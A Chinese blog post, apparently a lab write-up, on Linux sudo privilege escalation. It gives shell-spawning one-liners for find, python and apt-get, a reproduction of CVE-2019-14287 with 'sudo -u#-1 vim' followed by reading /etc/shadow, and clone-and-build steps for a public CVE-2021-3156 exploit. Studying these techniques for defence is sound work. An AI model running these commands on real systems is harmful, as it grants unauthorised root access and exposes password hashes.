linux 提权-sudo提权

sudo -l

前言

最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势。

简介

sodu 全称 Substitute User and Do,用来临时赋予root权限运行某个程序。 sodu 的执行原理: 普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers配置文件,查看用户是否有sudo权限,如果有执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。 而在/etc/sudoers中设置可执行sudo指令的用户。默认只有root。

linux 提权-sudo提权_第1张图片

image.png

sudo 常规提权

如果攻击者知道当前用户密码,就可以利用sudo执行命令提权。 如: find 命令提权

sudo find . -exec /bin/sh \; -quit

img

image.png

python 命令提权

sudo python -c 'import pty;pty.spawn("/bin/bash")'

linux 提权-sudo提权_第2张图片

image.png

或者管理员在/etc/sudoers配置了某些命令免密码使用。 如设置apt-get命令sudo时不需要密码。

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
  • cseroad表示用户名

  • 第一个 ALL 指示允许从任何终端访问sudo

  • 第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行

  • 第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令

再进行测试,sudo python等命令需要密码,而设置的apt-get不需要密码。

linux 提权-sudo提权_第3张图片

image.png

那就可以不需要输入密码利用apt-get命令来提权。

linux 提权-sudo提权_第4张图片

image.png

但是想获取哪些命令设置了无密码sudo,还是需要查看cat /etc/sudoers文件或者sudo -l命令,而这两条命令都需要一定权限或者知道当前用户密码。

更多命令sudo提权参考:https://gtfobins.github.io/

CVE-2019-14287

该漏洞具体细节也看不明白,粗略理解为非授权的特权用户可以绕过限制来获取特权。 复现该漏洞的过程,才知道该漏洞是如此鸡肋。 漏洞条件:

  • sudo 版本小于1.8.28

  • 当前用户存在于sudo权限列表

  • 需要知道当前用户密码

复现过程: 在kali上复现该漏洞。 首先创建test普通用户

useradd test
passwd test

在/etc/sudoers 文件中添加test用户,指定test用户sudo执行vim命令

test ALL=(ALL:!root) /usr/bin/vim

切换至test用户,查看sudo版本。

linux 提权-sudo提权_第5张图片

image.png

exp如下:

sudo -u#-1 vim
sudo -u#4294967295 vim

查找资料:通过指定UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞。

选择一条输入:

linux 提权-sudo提权_第6张图片

image.png

输入当前test密码 命令行模式输入

:!cat /etc/shadow

可提权为root查看/etc/shadow 文件

image.png

坑点:

  1. 在复现该漏洞时发现在ubuntu和centos上,输入sudo -u#-1 vim 结果均显示为未知用户;

  • centos 7显示:

img

image.png

  • ubuntu 18 显示:

linux 提权-sudo提权_第7张图片

image.png

  1. 复现该漏洞还需要知道当前用户密码,既然都知道密码了,sudo就可以提权了;

CVE-2021-3156

漏洞简介: 查找资料:当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。 受影响版本

sudo 1.8.2–1.8.31p2
sudo 1.9.0–1.9.5p1

漏洞检测 在普通用户下运行sudoedit -s /命令。

  • 返回以"sudoedit:"开头的错误,则当前系统可能存在漏洞;

  • 返回以"usage:"开头的错误响应,则当前系统不存在漏洞;

复现过程 还是选择kali 2019 版本 下载exp,编译运行即可

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make

linux 提权-sudo提权_第8张图片

image.png

运行sudo-hax-me-a-sandwich,并选择项对应的目标。 这里选择Debian,执行后即可提权。

linux 提权-sudo提权_第9张图片

image.png

总结 看似该漏洞很nice,其实依然需要一定权限执行make命令,且只危害Ubuntu、Debian系统

总结

梳理sudo提权的姿势,真心觉得不如SUID提权等姿势,有很多受限制的地方。

参考资料

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://www.secpulse.com/archives/138197.html



作者:CSeroad
链接:https://www.jianshu.com/p/71cb0ee0f0ea
 

你可能感兴趣的:(linux,运维,服务器)